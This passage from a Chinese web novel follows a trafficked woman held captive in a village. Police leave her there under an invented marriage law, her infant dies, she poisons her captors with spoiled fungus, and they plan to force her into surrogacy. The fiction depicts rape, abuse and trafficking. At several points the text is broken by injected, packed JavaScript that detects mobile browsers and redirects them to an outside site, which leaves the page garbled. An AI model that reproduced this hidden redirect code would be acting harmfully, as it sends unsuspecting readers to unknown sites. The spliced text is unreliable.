等她爬出了地窖,才发现自己的嘴有些疼,脸有些僵,原来是无意识的大笑,笑得嘴都要裂开了。 将近一年的暗无天日,终于在今日迎来了曙光。 “救我,我是被拐卖来的,我不是自愿的,快救我走。” 岳金裙扑到拉她上来的警察怀里,死死抱着他,唯恐又被程有柱给扯走了,唯有死死的抱住,才能给她安全感。 “不要怕,我们会救你的,一定会带你走的。”警察也回抱住了岳金裙,拍一拍她的背,给她安全感。 警察们簇拥着岳金裙往外走。 惊喜,狂喜,急切,甚至有点不可置信,充盈在岳金裙心中。 “不要走,金裙,你不要孩子了吗?我们还要给孩子看病啊。” 程有柱抱着女儿在后面追,程老根阻止警察和岳金裙,在前面阻拦,一时院内吵吵嚷嚷,人声鼎沸。 “不要了。”岳金裙在警察的簇拥中,头也不回,只想早点离开。 在照顾孩子的这几天里,她确实对孩子生出了一点慈母之心,但是相较于自由,孩子不重要。 这个孩子不是她想要生的,这是一个奸生子,是一个孽种,生来就带着肮脏罪恶的血脉。 不要再说什么“为了孩子”、“看在孩子的面上”、“不能毁了孩子的未来”这种话了。 孩子不是她妥协的理由,不是她和自己厌恶的程有柱过一辈子的理由,不是她做一辈子贤妻良母的理由,更不是她毁了自己一辈子,奉献自己一辈子的理由。 作为一个女人,父母兄弟想要甩脱包袱,丈夫想要贤妻,子女想要良母,社会想要生育,多方都在施压。 只有女人自己,才想要自己。 女人,摆脱社会规训,永远珍惜自己,勇敢去做自己吧。 她要走出这个院子,走出这个村子,走出这个禁锢她的地方。 她好多次做梦,梦见自己扯断铁链跑了,梦见杀了程老根父子跑了,梦见警察来救她,梦见妻子来救她,梦见以前的同事来救她,甚至梦见男人的他来救她,但是将要迈出大门的时候,程老根,程有柱和这个女儿,都变成恶鬼咬着她,将她生生拖回去。 今天,她就要走出这个大门,任何人,任何事都不能阻止她奔向自由的脚步,至于女儿,以后再协商吧,先让她享受自由的美好滋味吧。 “你们为什么要带走我媳妇儿?”程有柱无法,将孩子先扔在地上,上前扒拉警察和岳金裙。 一个警察留下来解释,剩下的警察仍旧簇拥着岳金裙往前走。 “因为你拐卖妇女,她是你买来的。” “不是,她是我合法的媳妇,我们有结婚证。” 警察一愣,“结婚证在哪?” 程有柱拿出自己的手机,将结婚证的电子图片拿给警察看。 “这是电子结婚证,还没有去领纸质的,我们就是合法的夫妻,你们没有权力把她带走。” 程有柱终于机智一回,明白说媳妇儿是用钱买的什么用都没有,想起来老二给他办的结婚证。 警察不可置信地查验过后,向前方招呼。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730152|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“等一等,他们有结婚证。” 程有柱追上岳金裙,将结婚证一一展示给警察们看。 警察们查看过结婚证后都默然无语。 “结婚证怎么了,这是给我下了药办的,我不是自愿的,我要撤销婚姻。” 岳金裙见警察们都停住了,不明白他们怎么了。 “你可能还不知道,在一个月之前,有一个新政策开始实行,不能以任何理由撤销婚姻。” “而且对于离婚也做出了限制,必须生3个孩子才能申请离婚,农村地区如果是3个女儿的话,一方不同意的情况下,生4个孩子才能离婚。” “现在堕胎也是非法的了。”警察为难的解释道。 “金裙,你和程有柱的婚姻是合法的,我们不能带走你。当然,如果你有人贩子的线索,我们会去调查,我们也在调查尹月被拐卖的案子。” “疯了吗?这世界疯了吗?怎么会有这种奇葩的政策,女性的权益谁来保护?” 岳金裙要疯了,这比他提出的那些政策还要疯狂,女人到底在干什么?不反抗吗? 在她将要爬出地狱的时候,又一脚把她给踹了回来,这天与地的落差,谁受得了? 程有柱则是狂喜,上前抱住岳金裙。 “哈哈哈,媳妇儿,我是不会和你离婚的,我们要生三四个孩子。” 程老根卸力般的倒地,捶地哈哈大笑,他们也不怎么关注外面的消息,没想到出了一个这样的政策,果然,多掏1万是对的,有了结婚证,儿媳妇儿怎么也跑不了了。 “我是被强迫的呀,看到我脖子上的锁链了吗?他们一直在拴着我啊,看不到我被强迫吗?看我身上的伤,他也一直打我呀。” 岳金裙不敢相信这个操蛋的世界,疯狂向警察展示自己的累累伤痕。 “媳妇儿,只要你老老实实跟我过日子,服服帖帖给我生孩子,我不会再拴着你,我再也不打你。”程有柱赌咒发誓。 “我们目前也没有办法,这一切只能当家务事处理,我们会帮你调解的,让他以后不能限制你的自由,也不能再打你。” 警察也非常无力,他们看到了岳金裙的困境,但在爱丁堡国一切让位于生育率的大背景下,他们不能强行将她带走,也没有有效帮助她的手段,只能尽力调解警告。 “那你们为什么把尹月救走了?”岳金裙无法相信。 “她没有和李天福领结婚证。” “那我怎么会在不情愿的情况下被迫领结婚证?哦~,这个政策是我提的,哈哈哈,在家通过app扫脸就能领结婚证,这是我提的,哈哈哈,哈哈哈。“ 众人看着岳金裙状若疯癫,满地打滚,一会儿捶地大笑,一会儿仰面大哭。 声音忽大忽小,说的话更是让人无法理解,仿佛是她的梦呓,说什么政策是她提的,又说她是男人,又说她在做梦,又说她已经死了,现在在地狱,像是被刺激的疯了。 程老根笑够了站了起来,看着儿媳这幅样子,也甚觉头疼,但现在首要任务是送走警察,于是带头承诺,摆出了送客的姿态: “我们家一定不拴着她,也不会打她,不会骂她,一定会好好照顾她,让她老老实实,服服帖帖给我们生孩子,你们就放心吧。” “师傅……我们带她走吧。”其中有几个年轻警察甚为不忍,看着岳金裙疯癫的样子,心酸得几乎要掉下泪来。 “唉,走吧,我们常来看着点。” 年长的警察见得多了,知道警察虽然能够惩奸除恶,但是对于很多家务事也只能和稀泥,在生育率为主的大背景下,更多的是无能为力。 “程老根,程有柱,我们可是会常来看着的,你们可得对她好点。” “肯定的,肯定的,我们把她供起来。”程老根父子承诺道,欢天喜地地送走了警察。 15. 女儿去世 岳金裙无力地仰躺在地上,冬日的阳光还是洒在她的脸上,她却无一丝被阳光照耀的心喜。 程老根父子将警察送出去后,便立刻反锁大门,四目相对,不由得笑了,大松一口气。 程有柱见岳金裙躺在地上,安心不少,刚才以为买来的媳妇儿要被带走,以为要人财两失,没想到峰回路转,这回媳妇儿永远也走不了了。 “金裙,别闹了,只要你乖乖的,老老实实过日子,服服帖帖给我生个儿子,我不打你不骂你,让你跟我们村其他媳妇儿一样。” 程有柱凑上前又给了一遍承诺,畅想美好未来。 “到时候我出去打工,你就在家洗洗衣服做做饭,照顾我爸,照顾孩子,和我爸一起种咱家的地,有空的时候你还可以做做手工活挣点小钱。 我不会再拴着你,你想去哪就去哪,只要记得回家就行。该买什么就买什么,只要别乱花钱就行。 咱们一起把日子过好,把孩子养大,再给孩子娶个媳妇,带一带孙子,我们也有人给养老。” 程有柱越想越美,不禁笑出声,这不就是村里人过的日子吗?这也是他一直想要过的日子。 岳金裙仍旧呆愣楞躺在地上,置若罔闻。 “哇……哇……” 一切都静下来,才能听到来娣微小沙哑的哭声,程有柱这才想起了女儿。 只见小小的女儿躺在沾满泥土的襁褓中,襁褓早已散乱,而女儿哭得声音沙哑,几乎只张口不出声,快要背过气去,脸蛋被冻的红扑扑的,额头也已经滚烫,嘴唇的紫色越发明显,时不时抽搐一下。 程有柱赶忙将孩子抱起,一摸小手都是凉冰冰的,赶紧将孩子抱到了室内。 “爸,你去找下村医过来吧,我看来娣快要不行了。” 程老根进屋看了一眼,也觉得可能不行了,他长叹一声,出了门又把门给锁上,才去找村医。 虽然现在婚姻合法了,但是也要防止岳金裙跑了,毕竟就算有婚姻关系,媳妇儿跑了也难找。 程有柱将孩子重新收拾好,拿起勺子喂糖水,却发现孩子抽搐严重,糖水已经喂不下去。 “金裙,来娣快不行了,糖水喂不进去,你来看看,喂她吃奶吧。” 岳金裙任由程有柱摇摆晃动,一副生无可恋的样子,眼神空洞,对程有柱的话毫无反应。 程有柱无法,将岳金裙抱起来,也放到了床上,岳金裙也任他施为,不说不动。 “你醒醒,孩子快不行了。” 程有柱见叫不醒岳金裙,伸出手轻扇她两巴掌,她终于回神一般,给出了一点反应。 岳金裙原本什么都不想思考,一点都不想动,就这样吧,就这样让她死吧。 但她也没想到自己的神经如此强大,大喜大悲的强烈冲击之下,她没有疯,也没有傻,她居然还有自己的神志,被程有柱的两巴掌打回神。 对了,她还可以跑,她意识到了,只要能跑,只要在外面能够活下来,她的身体和意志就会是自由的。 感谢自己的强大神经,从男人变成女人她没有疯,怀揣巨大希望又猛然破裂她没有傻,她要消化情绪,控制自己的意志,不能疯也不能傻,要完全地掌握自己。 女人,是不能没有清醒的神志的。 一个正常的女人,尚且自愿或者不自愿地献出自己的性价值、生育价值、劳动力价值,那么一个疯傻的,丧失清醒神志,失去自我控制的女人,会遭遇什么,更是可想而之。 疯傻的代价太过沉重,可能会被一个“憨厚老实”的男人收留,无意识的生儿育女;可能在不同男人之间辗转,如流浪猫般下了一窝又一窝,直至丧失生育能力。 若是每时每刻都疯傻,毫无自我意志,如提线木偶一般,或许也是一种幸福,但是哪怕有一时一刻的突然清醒,又如何直面这残酷的现实? 而程老根父子又会如何对待一个疯傻的女人? 她不能变得疯傻,她永不认命。 再等待机会吧,她告诉自己,会有机会的。 “孩子怎么了?”岳金裙突然意识到,送孩子上医院也是一个逃跑的机会。 “孩子喝不了糖水,你给孩子喂下奶吧,我爸已经去找村医了。”程有柱悲痛地说。 “有柱,孩子已经成了这样,太严重了,我们上医院吧,不然我们的第一个孩子,怕是就要没了。” 岳金裙不由得哭出声,撩开衣服给孩子喂奶,但是孩子抽搐的根本无法吸吮。 岳金裙看着孩子也万分悲痛,她对女儿的感情十分复杂,一方面爱她,这是她千辛万苦生下来的孩子呀,小小的她会追随她的气味和声音,也会无意识对着她笑,在偶尔的一瞬间,在面对孩子的时候,她也感到了莫大的幸福。 若是没有这些烦心事,养一个全心全意依赖自己的可爱小东西,应该也是一件十分有意思的事。 但是另一方面,岳金裙又恨这个孩子,恨不得这个孩子立刻去死。 她是她被强/奸的产物,她是她不再是男人的证明,她是她的屈辱,无力和牵挂,脖子上是有形的铁链,而这个孩子,是她无形的铁链。 “村医来了,让你老叔给看看吧。”程老根终于把村医带来了。 村医一看就知道孩子的病更加严重,还未满月的孩子更是不好用药,他自感医术有限,不敢随便医治。只给孩子针灸一番,勉强暂时止住抽搐。 “老根,我先开一点退烧的药,还是送到大医院看看吧,我恐怕治不了。” “他老叔,这到底咋回事啊,哪有钱去大医院啊。”程老根求道。 “您家这孩子,恐怕是有先天性心脏病,本来就要保暖,仔细照顾,避免孩子过度哭闹或剧烈运动, 但是您看您家这情况,孩子受了冷,又大哭,才成了这样,我只能开药,看能不能退烧,其他的还是要去医院检查。”村医言尽于此,给了药就走了。 “去大医院,有柱,收拾东西,我们去看病。”岳金裙说道。 “哦,好好,我去借车。”程有柱也着急,急忙答应。 “不准去。”程老根喝道。 “有柱,家里有多少钱,你还不清楚吗?这要是个孙子,我砸锅卖铁也给孩子治病,但这只是个孙女,能活就养着,不能活就算。 她那什么先天性心脏病,你知道要花多少钱吗?这就是个无底洞,咱们村以前也出过一个先天性心脏病的孩子呀,治了那么久,钱不知道扔进去多少,治好了吗?”程老根痛心疾首。 “有柱,虽然你和金裙的结婚证是有效的,但是去了大医院,你还能看住金裙吗?她要是跑了,你还能找得回来吗?” “我就问你一句,你还要不要生儿子了?”程老根最后一问将程有柱喝得一激灵。 “我不跑了,我发誓,你们要是不放心,你们专门有一个人跟着我行不行? 我就想给孩子治病,你们要是没有钱,我和有柱,我们一起去挣。总不能就眼睁睁看着孩子去死吧?”岳金裙哭着辩解道。 程有柱左右为难,最终还是说道:“金裙,这个孩子有病,养不活,我们再生个没病的孩子吧。” “还是那句话,没有生出一个孙子,你不能出门。只要你生一个孙子给我家,放了你都成。咱也不管那必须生两个孩子还是三个孩子,我家只要一个孙子。”程老根坚持。 “有柱,你看看孩子,你真的忍心让孩子死吗?”岳金裙跪着哭求程有柱,声泪俱下。 “金裙,给孩子喂药吧。” 程有柱眼中也闪过泪光,但是家贫,赌不起,既赌不起扔下大把钱后,孩子不能被救活,也赌不起岳金裙不会趁机逃跑。 将近一年了,程有柱看得明白,虽然他一直做着岳金裙认命跟他过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这也不难理解,岳金裙本来就是生产没多久,昨天又大喜大悲地闹了一场,发烧也是正常的,只是家里一下子有了两个病患,让程有柱内心焦急。 岳金裙浑身滚烫,又吃了药,也不敢再让孩子吃奶,以免孩子更加严重,又恢复成了喂糖水。 她一会觉得全身无力,喷出来的气都烫人,吃了药后发一身的汗,发汗后又起高热,反反复复,连她都有些烦了,只觉得这个病也太不爽利。 孩子也是如此,高热反反复复,岳金裙和程有柱尽心照顾,不管各自有如何的私心和算计,在这一刻,担心孩子的慈父慈母之心是不掺假的,但是这点并不单纯的慈爱之心并不能感动上天。 在岳金裙还在发热反复的时候,来娣在又一次发热中,在岳金裙的怀里没有了生息,岳金裙也彻底烧晕了过去。 “孩子呢?”岳金裙再次醒来,天光大亮,阳光透过窗户照亮了室内,一览无余。 “孩子已经埋了。金裙,你好好养身体吧。”程有柱给岳金裙端来饭菜,有鱼有肉,程老根已经给程有柱下达命令,要好好为岳金裙养身体,让她尽快怀上孙子。 “埋在哪里了?” “金裙,你就别想了,别管了,越想越伤心。孩子已经死了,你好好养身体吧,我会好好照顾你的。”程有柱不想回答她。 原本他们是打算在桥下挖个坑,把孩子埋进去的。 根据农村习俗,女孩不能埋在娘家坟地,应该在结婚后埋在夫家,而来娣太小,不可能结婚,很多没结婚的女孩死了都是在桥下挖个坑埋了。 但是有人打听到他们家孩子死了,主动出钱来买,是给买家满三岁去世的儿子配冥婚,省得在下面孤独,人生不完满。 程老根父子觉得这事只有好处,没有坏处,就做主给卖了,既能有钱,来娣也有个正经地方埋,能够享受夫家祭祀。 有了钱,就不用程有柱火急火燎地出去拼命挣钱,也可以好好给岳金裙补一补身体。 不过程有根父子商议后,觉得这事不用告诉岳金裙,只让她知道孩子死了埋了就行,省得她又伤神闹起来。 “啊……”岳金裙落下泪来,抱着女儿用过的小被子,她此刻只单纯的为那个可怜的孩子哭。 16. 中毒 “怎么样?为什么这都大半年了还怀不上啊?查出原因了吗?”程老根拿着一把大扫帚在扫地,见程有柱和岳金裙从医院回来,焦急询问。 这半年来,岳金裙倒是没有再被拴着,但是总被限制出门,无论在何时何地,都有程老根或程有柱跟着或注意着,随时随地要知道她在哪里,在做什么。 半年的夫妻生活,岳金裙没有再怀孕,程老根父子急了,终于由程有柱陪着,两人一起去了省医院检查。 “医生说是金裙上次生产完没休息好,输卵管堵塞了,给开了药。”程有柱放下背包,低头回道,没有正视程老根。 “不只是我的问题,有柱年纪大了,精子存活率低,就是说他的种都是死的,活着的少,合格的少。” 岳金裙不惯着程有柱,不会把锅全部背在自己身上,特意把话掰清楚了告诉程老根,以免程老根只觉得是她的问题,又开始逼逼赖赖。 “哦哦,就是都有问题呗,唉。”程老根长叹一声,又关切问道:“能治吧?” “爸,能治,都给我们开了药了,我们都吃着,过段时间再去检查。” “好,你们好好治病,早点生出儿子来。饭好了,快来吃饭吧。”程老根招呼程有柱他们吃饭。 “好,辛苦爸了,这就来。”岳金裙一听程老根做饭了,心里一紧。 岳金裙老老实实和程有柱过了半年安生日子。 出了月子,岳金裙就要给他们父子洗衣服、扫地、下地干活。 一个月前,可能是由于岳金裙的乖顺态度,她终于被允许做饭,但是仍旧不能拿刀,菜都是他们切好的,切完菜就把刀收走。 至于农村常见的大杀器—农药,岳金裙更是看不到,看到也不一定认得。 如今,村里其他媳妇儿做的,她是一样不少。 偶尔她也被允许独自出门,程有柱有时候给她几块钱,让她出去买个菜,有时候剩下几毛钱,她也会买个辣条、冰棍之类的,稍微改善一下伙食。 但是她每次独自出门,都能感到整个村子仿佛活了过来,到处都是睁开的眼睛。 桥上、水里、路边,吹来的空气,路上遇到的人,甚至经过的门缝里,都有一双或明或暗的眼睛跟随着她,监视着她。 她不敢做任何额外的动作,一旦她走出划定的路线,甚至她在路上跑起来,都会有人一边盯着她,一边拿出手机窃窃私语。 她时刻被防备着,监视着,回到家后,程有柱还会一点点给她盘买东西的花费,搜一遍身,她一点钱都不能留。 不在沉默中爆发,就在沉默中变态。 岳金裙决定找机会毒死他丫的,父子两个全都不留,就算把自己也顺带着毒死了,也在所不惜。 她想要做点手脚,但每时每刻都被盯着,他们父子就跟监工一样,豆子要炒熟,土豆发芽不能吃,基本的常识他们还是懂的,岳金裙实在找不到机会。 也让他们拉过几回肚子,但是任何毒物抛开剂量都是耍流氓。 发霉的馒头、酸了的粥他们都照吃不误,顶多拉几回肚子。 他们太抗造,甚至完全不怀疑岳金裙是故意的,只以为岳金裙以前娇生惯养,厨艺不精,不懂常识,在厨房里对她盯得更紧,指导更多。 终于,她在前几天炒木耳的时候,趁他们不注意偷偷留出一点,塞在柜子下面一直泡着,这都泡了几天,毒性肯定强,今晚或明天就给他们招呼上。 去医院检查是程有柱要动身的时候才告诉她的,立刻就带她走,她根本没时间去藏得更深一些。 岳金裙借着吃饭前洗手,去厨房看了看,悄悄踢了一下柜子下面,还能踢到东西,看来没被程老根发现。 “有柱,待会再去买点肉吧,我今晚来炒肉吧,医生也说我们都要补身体,爸爸年纪这么大了,也要好好保养。” 岳金裙表现得非常贤妻良母,主动给程老根父子都盛了饭。 “买什么肉?什么家庭能天天吃肉啊?前几天不是刚吃了?”程老根率先拒绝。 他节省了一辈子,以前饭都吃不饱呢,现在日子过好了,已经很知足,最看不惯天天不知节省的。 治病不要钱吗?养孙子不要钱吗?孙子娶媳妇不要钱吗?要不是他省吃俭用一辈子,哪有钱给儿子买媳妇儿呢? 这儿媳妇儿到底年纪小,整天嚷着吃这吃那,不当家不知柴米油盐贵。 岳金裙不做声了,委屈地看了一眼程有柱。 “爸,金裙说的也对啊,您也该过过好日子,今晚不买了,我明天去买点,我也想吃了。”程有柱嬉皮笑脸。 “哼。”程老根挖一眼儿子,不做声了。 程有柱一大早就买肉回来,吃肉谁不想啊。 早饭都摆上了桌,程有柱拿起大饼,张口咬了一大块,环视一周,“爸,金裙呢?” “厨房呢。 有柱,以后别再去村东那疯子,还有村西那寡妇那儿了,本来好种就不多,别费在她们身上,她们就算怀了,也不一定是你的种。” “还说我,你不去啊?”程有柱有些不情愿。 “我可告诉你,你要是再让儿媳妇生不出来,我可就自己上了,反正都是我的种……”程老根警告说到一半,见到岳金裙出来,忙住了口。 “刚干嘛去了,不赶紧吃饭。”程老根看向岳金裙。 “哦,有柱买了肉,我去泡了一点木耳,中午做木耳炒肉,免得泡不开。” 岳金裙在身上蹭掉手上的水,坐在了餐桌前。 她起床后也忙活起来,先是做了早饭,又趁着程老根父子两个吃早饭,独自溜到厨房泡了木耳,又把泡了几天的木耳也一起加进去,用锅盖盖着,以免他们父子发现。 “赶紧吃吧,待会再泡也是一样的。” “嗯嗯,这就吃。”岳金裙随口敷衍。 “金裙,吃完饭了吧?又来了一点活,咱们先做着。” 岳金裙刚收拾完碗筷,一个粗壮黝黑的妇人自来熟地走进来。 “好的。” 除了一日三餐洗衣服做饭之外,岳金裙当然不能闲着,程有柱还给她找了各种手工活来做,编藤椅、串珠子、做花圈、纸钱等等,这次是叠金元宝。 村里其他的妇女还有的去缝衣服、做裤子、做箱包、捉虫子、收药材等等,但是这些活是不能在家做的,得去招工的地方做,程有柱是不会让她去做的,以防她偷偷跑了,只给她接一些能在家里做的手工活。 除了手工活外,程有柱还给岳金裙找了个干活搭子,就是来找她的堂嫂,名叫秀惠。而以前来过的堂嫂玉玲早就怀上了二胎,也少来找岳金裙玩。 程有柱的堂兄堂嫂太多了,这个村子几乎一半姓李,一半姓程,还有零散的几个小姓,往来通婚,整个村子七拐八拐都是亲戚,岳金裙是搞不懂他们的关系,程有柱怎么介绍就怎么叫。 而这个堂嫂秀惠也是被拐卖来的,她不像岳金裙整天想着逃跑,反而早就在此安顿下来。 生了儿子之后自以为有了主心骨,仿佛从脑子里也长出一根口口,将自己全部融入夫家,早就与夫家利益为一体,急夫家所急,忧夫家所忧。 她不只是陪着岳金裙做活,也是要看着岳金裙,洗脑岳金裙。 程有柱会拿岳金裙所得的一成分给秀惠当作报酬,剩下的九成,就全部进了程有柱的腰包,美其名曰攒钱养孩子。 “金裙,昨天你们去检查了,怎么样啊?”秀惠八卦道。 做活无聊,只能聊一聊各自的私密,村中的八卦了。 “我俩的身体都有点问题,都在吃药呢。” “哦哦,那谁更严重啊?”秀惠又八卦得凑过来,声音都放轻了。 “我跟有柱,一个是到地里的路堵了,一个是种坏了,好的没几个,嫂子你说谁更严重?” “哈哈哈,都差不多。”秀惠尴尬一笑。 “程爱娣和李云云你知道不?听说有人在省城见到她们了,她俩个在一块呢。”秀惠又转移了话题,为岳金裙同步村里最新的消息。 岳金裙听得心头一紧,“那把她两个带回来了?” “那倒没有,就是咱村有人去省城打工的时候,见到她俩了,刚要劝一劝,她俩就走了,也没追上。 她俩父母加上亲戚,又去省城找人了。” 秀惠八卦着,但是丝毫不耽误手上功夫,一个一个胖鼓鼓的金元宝从她手中抛出来。 “我原本以为她俩是跟着相好跑了呢,不过现在说不定也已经嫁人了。”秀惠兀自揣测。 “金裙,你在外面没相好的吧?” “没有。” “我以前倒是有一个相好的,”她语气压低,神神秘秘的,一副咱俩最好的样子,“这我可谁都没说过,只跟你说。” “但是我老家那里还不如这儿好呢。来这儿之后,我老公对我也好,也有了儿子,我也知足了。”秀惠露出满足的笑容。 “你呢,金裙,我看有柱他呀,憨厚老实,为了就近照顾你,这一年多都没有去外地打工,对你也好,这半年不打你不骂你,我听说以前一日三餐都端给你吃。 再看你公公,也很能干呢,能下地,能出去拾柴火,等你生了孩子,还可以帮你带带呢。” 又来了,秀惠时不时就对比自己以前的悲惨生活,畅谈对现在生活的满足。 还要询问岳金裙的想法,仔细剖析岳金裙现在生活的美好之处,总之一句话,嫁鸡随鸡,嫁狗随狗,女人要懂知足。 “是的,现在的生活挺好的,我挺知足的。”岳金裙只能憋出这句话,再多的话,她说不出来。 “是啊,上次我来,我看见有柱在扫地呢,咱村的老爷们儿,有几个干这些活呀。金裙,你有福啊,年纪大的会疼人。” 秀惠还在喋喋不休,岳金裙左耳朵进右耳朵出,只“嗯嗯”作答,手上磨磨蹭蹭,维持一贯的手脚笨拙,效率低下的干活人设。 太阳逐渐移到正中,秀惠终于停下手里的活,“金裙,我先回家做饭了啊,下午我再来。” “嫂子,你今天拿回去一些自己做吧,我今天不太舒服,头有点痛,我想今天歇一下午。” “好吧,不过不是我说,咱们女人也得挣钱啊,今天挣了10块,就算花了10块,也敢花啊,要是不挣这钱,花这10块,不心疼吗?” 岳金裙做活时不时找借口偷懒,秀惠以为她又是惯常偷懒,又免不了长篇大论。 “我知道了,但我真的是头疼,下午想躺着睡觉,明天我再做吧。”岳金裙又说道,已经捂住了额头。 “好吧,我走了,我明天再来找你。” 岳金裙快步走进厨房,木耳已经全部发泡好了,她带着诡异的微笑,用着木耳炒了肉,还倒进了泡木耳的水,不怕这毒不强。 除了木耳炒肉外,又做了一道土豆炒肉,蒸了米饭,很快都端上了餐桌。 “今天做的很丰盛啊。”程有柱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“那可能是木耳中毒,还有剩下的木耳吗?” “都吃完了,弄得量少,碗都已经刷了。”岳金裙吃力地说道,好像在忍受什么痛苦。 “先催吐吧,我给你们输上液。先看看效果。”村医立刻忙活起来。 待给三人都输上液,天色已经黑了。 程老根独自在自己房间内,村医在旁边收拾用具。 “老弟,你帮我分析分析,这是不是我儿媳妇故意的呀?要说故意的,她也吃了啊,也和我们一样上吐下泻的。”程老根心中有所怀疑。 “照老哥你所说,这木耳只泡了一个上午,按说是不会产生毒素的。 咱们刚才也看了,剩下的木耳都是干的,木耳保存也没有问题,但你们确确实实又都中毒了。饭又是她做的,这很难不让人怀疑。”村医分析道。 “这半年来,我和有柱确实又拉又吐过几次,有时候也吃到发酸的粥,生芽的土豆,但是我们都以为是巧合,难道她还真想弄死我们?” “她现在又没有孩子,又不是自愿来的,没有牵绊,说不定还有要跑的心。老哥,我看这饭还是先别让她做了,先生个孩子最踏实。”村医建议道。 “唉,他们一时半会还怀不上,他俩都有问题,你看下昨天他们的检查结果。”程老根翻出检查单子。 “这确实问题很大,得好好治,治这个恐怕得要个一年半载的。” 程老根咬牙:“就怕这儿媳妇等不了一年半载,现在就想送我们上路。” “唉,说不定是巧合,不是故意的,等你们好点了,再问问她。”村医安慰道,看着程老根怒火起来了,不敢再撺掇,忙转过话头,息事宁人。 第二日起来,岳金裙表现得依旧腹痛头晕,程老根父子也是继续腹部翻江倒海,头晕头痛,但是相比昨天,已经有所减轻。 “爸,有柱,咱们还是这么严重,还是尽快上省医院吧,别耽误了。”岳金裙充满担忧。 程老根深深看了岳金裙一眼,岳金裙瑟缩一下,但是很快又正大光明的对视回去。 你就算知道毒木耳是我故意让你们吃的又怎么样?大不了一起死。 “爸,怎么了?我说的不对吗?有柱,还是去医院吧。” 岳金裙又看向在一旁难受得哼哼唧唧的程有柱。 “我记得你不如我们吃的多吧?你也这么难受?”程老根率先质问道。 “当然,我也很难受。头晕,恶心,肚子疼,我快要死了,我要去医院。” “爸,还是去医院吧,我也要受不了了。” “让村医再给治一天,还是不行的话,再去医院。”程老根最后定夺。 村医又给三人用上了药。 岳金裙觉得他们难以理喻,都这么严重了,还硬扛着,这是不要命了吗? 第三天,程老根父子的症状居然更加轻了。 岳金裙难以置信,不是,这么耐操的吗? 她以前看的那些木耳中毒的新闻都是假的吗?还是她的操作不对,这难道是概率问题? 也许量还是太少了,虽然木耳泡了好几天,但是量毕竟少,又是两三个人分食。岳金裙不断复盘此次失误原因。 她不由得气馁,为什么总是逃不走呢? 好像有一张大网,牢牢束缚着她,在阻止她成功逃走,被拐卖以来的逃跑企图没有一件成功的,她到底什么时候才能得到自由? 17. 送去代孕 程老根父子逐渐痊愈,但毕竟大病一场,身体不能很快恢复如初,神色都有些奄奄的,看起来像是老了几岁。 “金裙,这次毒木耳,是不是你故意的?” 程有柱不敢相信,程老根已经跟他通过气,仔细分析岳金裙故意投毒,想要害死他们的可能。 这半年来,岳金裙百依百顺,对程有柱多有体贴,他正是幸福的时候。 明明一切都已经过去,明明他们说好要一起好好过日子的,明天说好要往前看的。 难道岳金裙还想着跑吗? “不是我,我不是故意的,这半年来我任劳任怨操持家里,一心一意为你们着想,难道你们还不相信我吗?那我以后不做饭了,你们自己做。” 岳金裙露出受伤的表情,蹙眉看着程有柱,伤心欲绝,恨不得赌咒发誓。 “爸,我不相信金裙是故意的,先别让金裙做饭了。”程有柱又看向程老根。 “没出息,你老子都差点被她药死,你还相信她,话都给你白说了,你是猪脑子吗?”程老根骂道。 “金裙,只有千日做贼的,没有千日防贼的,我家是无论如何留不住你了。” 一想到这几天的要把胃都要吐出来,把肠子都要拉出来的痛苦,程老根就心生畏惧。 也想过控制着她让她接客挣钱,还不用担心怀孕。 但是一来村里有几个偷偷干这个的,生意怕是不好,二来就算绑住她,也怕哪天疏忽,被她给弄死,这次敢下毒,下次得着机会就敢砍人,还是把她送走最稳妥。 “给你两个选择,一个是把你送回给花叔,他们要再把你卖到哪里去,我家就管不了;另一个是你去做代孕,代孕的钱要全部给我们,然后你就可以走了,不用再回来。” 这都是什么选择?岳金裙一个都不想选。 “我和有柱有结婚证啊,不生两三个孩子离不了啊。” “只要我家把钱拿回来,就不会再用结婚证卡你,你就走就行了。” 程老根想得很清楚,结婚证有用,但也没用。 “有柱,你真的不要我了吗?”岳金裙又求向程有柱。 “我……金裙,我不知道要不要相信你,但是你现在也生不了了,还不知道要治到什么时候去,我着急要孩子。” 程有柱低下头去,不敢看岳金裙,他也万分不舍,但是这份感情又十分的薄弱,不及和父亲的感情,也不及迫切要儿子的渴望。 “我儿子听我的。你选吧,要是你不选,我就直接把你退到花叔那里了,虽然相比买你回来,会赔点钱,但是能立刻拿到钱。”程老根又逼迫道。 “你们放了我好不好,我在京都有房子有钱,实在不行我出去打工挣钱还你们好不好?我一定会给你钱的。” “不行。”程老根不敢相信她,只有能够立刻看到钱的,能够控制住她的,他才能相信。 “有柱,走吧。”程老根做势要走,拽起程有柱。 “我选择二,我去做代孕。”岳金裙神色坚毅,再赌一次。 如果回到了花叔手里,再被卖到哪里,会是个什么境况难以确定,花叔他们要是知道她输卵管阻塞,最大的生育价值没了,会给她好好治病吗? 拆零件卖了她都有可能,他们那里控制人的手段太多了。 如果去做代孕,起码有个自愿的由头,可能还会有一线生机。 “好,明天就送你去。”程老根说完就走出去,又把岳金裙锁了起来。 “金裙,吃饭吧。”程有柱端着一碗饭进来。 “有柱,你真的舍得我走吗?我不想离开你。” 程有柱沉默不语。 岳金裙还想要最后挣扎一下,但是她也不知道,要是真的留下了,结局到底是什么? 不再折腾好好治病,然后生一个儿子,养儿子,努力给儿子娶媳妇,一日三餐,洗衣服做饭,还要做廉价手工补贴家用?就这样过完这底层女人的一生吗? 